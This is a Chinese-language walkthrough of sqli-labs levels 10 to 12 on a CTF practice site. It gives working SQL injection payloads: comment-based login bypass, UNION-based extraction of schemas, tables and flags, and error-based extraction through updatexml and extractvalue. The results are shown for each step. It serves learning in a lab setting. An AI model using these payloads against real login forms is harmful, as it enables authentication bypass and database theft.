sqli_labs-10,11,12 --详细解析

Less-10

信息搜集

是一个登录框,有两个传参点:

随便输一下,抓包看看传参形式和参数名:
POST传参,有uname和passwd参数。

SQL注入

从uname参数注入试试。先判断一下闭合类型,输入admin'
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''admin'' and password='' LIMIT 0,1' at line 1

根据报错信息,可知两个传参点都是单引号闭合

而且这两个参数是用同一条语句查询的,这就意味着如果我们在uname传参点把后面的语句都注释掉,就可以通过只输入用户名的方式登录,而无需密码。

sql 复制代码
admin'--+ //报错,过滤了--+
admin'#  //成功登录

我们看到这里回显了账号和密码,大概推测回显位有两个。那么order by语句测试一下,果然是两个回显位。

sql 复制代码
0' union select 1,2#

判断了每个回显位对应的位置,而且知道了可以使用联合注入,接下来就是联合注入走流程:

sql 复制代码
0' union select 1,2#
0' union select 1,(select database())# //security
0' union select 1,(select group_concat(schema_name) from information_schema.schemata)# //ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test
0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow')# //flagugsd
0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flagugsd')# //id,flag43s
0' union select 1,(select group_concat(flag43s) from ctfshow.flagugsd)# //ctfshow{843bd566-43dd-4cc5-b215-433b86b7d678}

得到flag.

Less-11

信息搜集

和上一题一样

SQL注入

测试到双引号闭合的时候报错了
可知是双引号加括号闭合:admin")#,成功登录。

回显位和上一题一样。

依旧联合注入:

sql 复制代码
0") union select 1,(select group_concat(schema_name) from information_schema.schemata)# //ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test
0") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow')# //flagugsds
0") union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flagugsds')# //id,flag43as
0") union select 1,(select group_concat(flag43as) from ctfshow.flagugsds)# //ctfshow{b40cd342-4b6f-44ed-9e3e-795340dc1075}

得到flag。

Less-12

信息搜集

和前两题一样。

SQL注入

测试闭合,发现是单引号+括号闭合:admin')#

但是这次不会回显账号密码了,没有了回显位,联合注入被ban了。

由于有报错信息回显,所以我们使用报错注入。

用updatexml报错注入:

sql 复制代码
admin') and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)# //'~ctfshow,ctftraining,information'

admin') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),0x7e),1)# //'~flag~'

admin') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flag'),0x7e),1)# //~id,flag4~'

admin') and updatexml(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e),1)# //'~ctfshow{6d80844a-5452-496e-86d0'

admin') and updatexml(1,concat(0x7e,right((select group_concat(flag4) from ctfshow.flag),30),0x7e),1)# // '~a-5452-496e-86d0-3cfca652aee7}~'

ctfshow{6d80844a-5452-496e-86d0-3cfca652aee7}

extractvalue注入:

sql 复制代码
admin') and extractvalue(1,concat(0x7e,(select group_concat(flag4) from ctfshow.flag),0x7e))# //~ctfshow{6d80844a-5452-496e-86d0'

admin') and extractvalue(1,concat(0x7e,right((select group_concat(flag4) from ctfshow.flag),30),0x7e))# //'~a-5452-496e-86d0-3cfca652aee7}~'

都能得到flag。

相关推荐
paopaokaka_luck5 分钟前
智能推荐社交分享小程序(websocket即时通讯、协同过滤算法、时间衰减因子模型、热度得分算法)
数据库·vue.js·spring boot·后端·websocket·小程序
He.ZaoCha32 分钟前
函数-1-字符串函数
数据库·sql·mysql
二当家的素材网41 分钟前
Centos和麒麟系统如何每天晚上2点10分定时备份达梦数据库
linux·数据库·centos
白仑色1 小时前
Oracle 存储过程、函数与触发器
数据库·oracle·数据库开发·存储过程·plsql编程
头发那是一根不剩了2 小时前
Spring Boot 多数据源切换:AbstractRoutingDataSource
数据库·spring boot·后端
网硕互联的小客服2 小时前
服务器经常出现蓝屏是什么原因导致的?如何排查和修复?
运维·服务器·stm32·单片机·网络安全
草履虫建模2 小时前
Redis:高性能内存数据库与缓存利器
java·数据库·spring boot·redis·分布式·mysql·缓存
泊浮目3 小时前
未来数据库硬件-计算篇
数据库·云计算·操作系统
靖顺3 小时前
【OceanBase诊断调优】—— 执行计划显示分区 PARTITIONS[P0SP9] 如何查询是哪个分区?
数据库·oracle·oceanbase
KIDAKN4 小时前
MySQL 存储结构
数据库·mysql